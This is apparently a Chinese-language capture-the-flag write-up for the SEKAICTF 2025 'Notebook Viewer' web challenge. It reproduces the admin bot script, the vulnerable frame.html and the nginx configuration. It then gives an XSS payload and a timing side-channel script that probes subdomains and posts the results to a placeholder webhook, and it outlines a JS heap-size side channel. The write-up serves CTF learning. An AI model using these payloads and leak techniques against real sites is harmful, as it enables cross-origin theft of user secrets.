CTF题目名称 Notebook Viewer

Miku created this notebook, can you extract its secrets?

admin bot

// 安装 puppeteer:npm i puppeteer
// 真正的 admin bot 稍有不同,但执行的步骤相同
// 远程环境运行 Headless Chromium 139,且可以访问互联网
const puppeteer = require("puppeteer");

// FLAG,作为笔记内容
const FLAG = "SEKAI{test_flag}";
// 目标站点地址
const SITE = "https://nbv.chals.sekai.team/";
// 从命令行参数获取目标 URL
const target = process.argv[2];

// 访问函数,自动化浏览器访问指定 URL
const visit = async (url) => {
    let browser;
    try {
        // 启动 puppeteer,无头模式,使用管道通信
        browser = await puppeteer.launch({
            headless: true,
            pipe: true,
            args: [
                "--no-sandbox", // 关闭沙盒
                "--disable-setuid-sandbox", // 禁用 setuid 沙盒
                "--js-flags=--jitless", // 禁用 JIT
                // 加速 DNS 解析
                "--host-resolver-rules=MAP nbv-*.chals.sekai.team nbv-0-0.chals.sekai.team",
            ],
            dumpio: true // 输出所有浏览器进程的 stdout/stderr
        });

        // 新建第一个页面,访问带 FLAG 的 note 页面
        let page1 = await browser.newPage();

        await page1.goto(`${SITE}/?note=${encodeURIComponent(FLAG)}`, {
            waitUntil: "networkidle2" // 等待网络空闲
        });

        // 新建第二个页面,访问用户传入的 URL
        let page2 = await browser.newPage();

        await page2.goto(url);

        // 等待 15 秒,确保页面加载和脚本执行
        await new Promise((res) => setTimeout(res, 15000));

        // 关闭浏览器
        await browser.close();
        browser = null;
    } catch (err) {
        // 捕获并打印错误
        console.log(err);
    } finally {
        // 确保浏览器被关闭
        if (browser) await browser.close();
    }
};

// 检查目标 URL 是否以 http/https 开头,防止非法输入
if (target.startsWith('https://') || target.startsWith("http://")) {
    visit(target);
}

frame.html

<!DOCTYPE html>
<html lang="en">
<meta charset="utf-8">
<p id="note"></p>

<head>
    <style>
        *,
        *::before,
        *::after {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
            font-family: ui-monospace, "SFMono-Regular", Menlo, Monaco, "Courier New", monospace;
            font-size: 16px;
            line-height: 1;
        }
    </style>
</head>

<body>
    <script>
        // 获取当前页面的URL对象
        let uri = new URL(location.href);
        // 获取URL参数中的note字段
        const note = uri.searchParams.get("note");
        // 获取页面中id为note的元素
        const txt = document.querySelector('#note');
        if (note)
            // 如果note参数存在,则将其内容显示在页面上
            txt.innerHTML = note;
        else
            // 如果note参数不存在,则根据host解析并显示特定字符
            txt.innerHTML = String.fromCharCode(uri.host.split('-')[2].split('.')[0]);        
    </script>
</body>

</html>

分析配置文件


events {
    worker_connections 102400;
}

http {
    server {
        listen 80;
        server_name nbv.chals.sekai.team;

        root /app;
        index index.html;

        location / {
            try_files /index.html =404;

            add_header Vary "Sec-Fetch-Site" always;
            add_header Cache-Control "no-store" always;
            add_header Clear-Site-Data "\"*\"" always;
            add_header Cross-Origin-Embedder-Policy "require-corp" always;
            add_header Cross-Origin-Resource-Policy "cross-origin" always;
            add_header Referrer-Policy "no-referrer" always;
            add_header X-Content-Type-Options "nosniff" always;
            add_header Origin-Agent-Cluster "?1" always;
        }
    }

    server {
        listen 80;
        server_name ~^nbv-[0-9-]+\.chals\.sekai\.team$;

        root /app;
        index frame.html;

        location / {
            try_files /frame.html =404;

            add_header Vary "Sec-Fetch-Site" always;
            add_header Cache-Control "no-store" always;
            add_header Clear-Site-Data "\"*\"" always;
            add_header Cross-Origin-Embedder-Policy "require-corp" always;
            add_header Cross-Origin-Resource-Policy "cross-origin" always;
            add_header Referrer-Policy "no-referrer" always;
            add_header X-Content-Type-Options "nosniff" always;
            add_header Origin-Agent-Cluster "?1" always;
        }
    }
}

这个 Nginx 配置文件主要用于设置两个不同域名的虚拟主机,重点在于安全头和域名匹配。以下是详细解释:

全局配置

events {
    worker_connections 102400;
}
  • worker_connections 102400:设置每个 worker 进程能同时处理的最大连接数为 102,400(约 10 万),适合高并发场景。

HTTP 块配置

http {
    # 第一个 server 块
    server {
        listen 80;
        server_name nbv.chals.sekai.team;
        root /app;
        index index.html;

        location / {
            try_files /index.html =404;
            # 安全头配置...
        }
    }

    # 第二个 server 块
    server {
        listen 80;
        server_name ~^nbv-[0-9-]+\.chals\.sekai\.team$;
        root /app;
        index frame.html;

        location / {
            try_files /frame.html =404;
            # 安全头配置...
        }
    }
}

第一个 Server 块(主站点)

  1. 域名匹配

    • 监听 nbv.chals.sekai.team 的 80 端口请求
  2. 文件服务

    • root /app:网站根目录为 /app
    • index index.html:默认访问文件为 index.html
    • try_files /index.html =404:所有请求都返回 index.html,不存在则报 404

第二个 Server 块(动态子域名站点)

  1. 域名匹配

    • 使用正则 ~^nbv-[0-9-]+\.chals\.sekai\.team$ 匹配子域名
    • 示例:nbv-123.chals.sekai.teamnbv-abc-123.chals.sekai.team
  2. 文件服务

    • 默认文件改为 frame.html
    • 所有请求返回 frame.html

安全头配置(两个 location 块共用)

add_header Vary "Sec-Fetch-Site" always;
add_header Cache-Control "no-store" always;
add_header Clear-Site-Data "\"*\"" always;
add_header Cross-Origin-Embedder-Policy "require-corp" always;
add_header Cross-Origin-Resource-Policy "cross-origin" always;
add_header Referrer-Policy "no-referrer" always;
add_header X-Content-Type-Options "nosniff" always;
add_header Origin-Agent-Cluster "?1" always;
  • Vary "Sec-Fetch-Site":根据请求来源(同站/跨站)差异化响应
  • Cache-Control: no-store:完全禁止缓存(敏感数据场景)
  • Clear-Site-Data: "*":要求浏览器清除所有本地数据(Cookies/存储等)
  • 跨域安全策略
    • require-corp:要求跨域资源明确授权
    • cross-origin:允许跨域加载资源
  • Referrer-Policy: no-referrer:不发送 Referer 头
  • X-Content-Type-Options: nosniff:禁止 MIME 类型嗅探
  • Origin-Agent-Cluster: ?1:启用进程隔离(防止 Spectre 攻击)

配置核心目的

  1. 双站点分离

    • 主域名 (nbv.chals.sekai.team) → 提供 index.html
    • 动态子域名 (nbv-xxx.chals.sekai.team) → 提供 frame.html
    • 常用于多租户或沙盒环境
  2. 严格安全控制

    • 禁用缓存、清除本地数据、强制进程隔离等措施
    • 适合处理敏感操作(如支付、认证)
  3. 跨域策略

    • 允许资源跨域加载 (cross-origin)
    • 但要求资源明确授权 (require-corp)

我们可用从此处可以执行任意js

https://nbv-0-0.chals.sekai.team/?note=<img src=x onerror="alert(1)">

我们如何通过知晓访问了那些url的侧信道来找到秘密中所有可能的字符?

方案1 基于时间的侧信道

利用浏览器的连接复用更快的特性

SEKAICTF 2025 - 文章 |HSw109

<!doctype html>
<meta charset="utf-8">
<title>nbv first char timing</title>
<pre id="log">init…</pre>
<script>
const i = 0; // 初始索引值
const CHARS = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz!#$%&()*+,-./:;<=>?@[\]^_`{|}~'"; // 包含所有可能字符的字符串
const codes = [...new Set([...CHARS].map(c => c.charCodeAt(0)))]; // 将字符转换为唯一的字符编码数组

// 测量获取URL的时间函数
async function tFetch(u){
  const t0 = performance.now(); // 记录开始时间
  try { await fetch(u, {mode: "no-cors", cache: "force-cache"}); } catch(e) {} // 尝试获取URL,使用no-cors模式和强制缓存
  return performance.now() - t0; // 返回经过的时间
}

(async () => {
  const timings = []; // 存储所有计时结果的数组
  for (const code of codes) {
    const url = `https://nbv-${i}-${code}.chals.sekai.team/`; // 构建测试URL,包含字符编码
    const t1 = await tFetch(url); // 测量获取时间
    const t = t1; // 记录总时间
    const guess = String.fromCharCode(code); // 将编码转回字符
    timings.push({ guess, t }); // 将字符和对应时间添加到结果数组
  }
  timings.sort((a,b)=>a.t - b.t); // 按时间升序排序结果
  const best = timings[0]; // 获取响应最快的结果
  
  // 定义发送数据到webhook的函数
  const post = (obj) => {
    const blob = new Blob([JSON.stringify(obj)], {type:"application/json"}); // 创建JSON数据的Blob对象
    fetch("<webhook>", {method:"POST", mode:"no-cors", body: blob}); // 发送数据到webhook
  };
  post({kind:"calibration", timings}); // 发送所有计时结果
})();
</script>

预期方案 检测堆使用大小

performance.memory.usedJSHeapSize 是浏览器 JavaScript 引擎(尤其是 V8,用于 Chrome 和 Edge)提供的一个只读属性,它是 Performance.memory 接口的一部分。

  • 作用:它返回一个字节为单位的数值,表示当前 JavaScript 执行上下文(通常是页面或 iframe)所使用的内存总量
  • 所属 API:它是非标准的 Web API,主要由基于 Chromium 的浏览器(如 Chrome, Edge, Opera)提供。Firefox 和 Safari 不支持此功能。
  • 用途:它的本意是为开发者提供一个高性能的分析工具,用于监控网页的内存使用情况,帮助诊断内存泄漏和优化性能,而无需使用更重量级的浏览器开发者工具。

示例代码:

// 检查浏览器是否支持
if (performance.memory) {
  const usedMemoryMB = performance.memory.usedJSHeapSize / (1024 * 1024);
  console.log(`当前页面使用了大约 ${usedMemoryMB.toFixed(2)} MB 的 JavaScript 堆内存。`);
} else {
  console.log("您的浏览器不支持 performance.memory API。");
}
  • 同站点进程复用:Chrome 的站点隔离把跨站 iframe 放到独立进程。但“同站点”(同 scheme + eTLD+1)的跨源 OOPIF 会被合并进同一渲染进程。

  • 共享 JS 堆:同一渲染进程中的所有 frame 共享同一个 V8 JS 堆。performance.memory.usedJSHeapSize 返回的是该“进程级”堆占用的近似值。

  • 侧信道:攻击页无法读主域的 DOM/JS,但能读“进程总堆大小”。只要受害页的“秘密依赖行为”会改变进程内对象/脚本/结构的分配,攻击页就能通过“前后差分”观测到。

Logo

有“AI”的1024 = 2048,欢迎大家加入2048 AI社区

更多推荐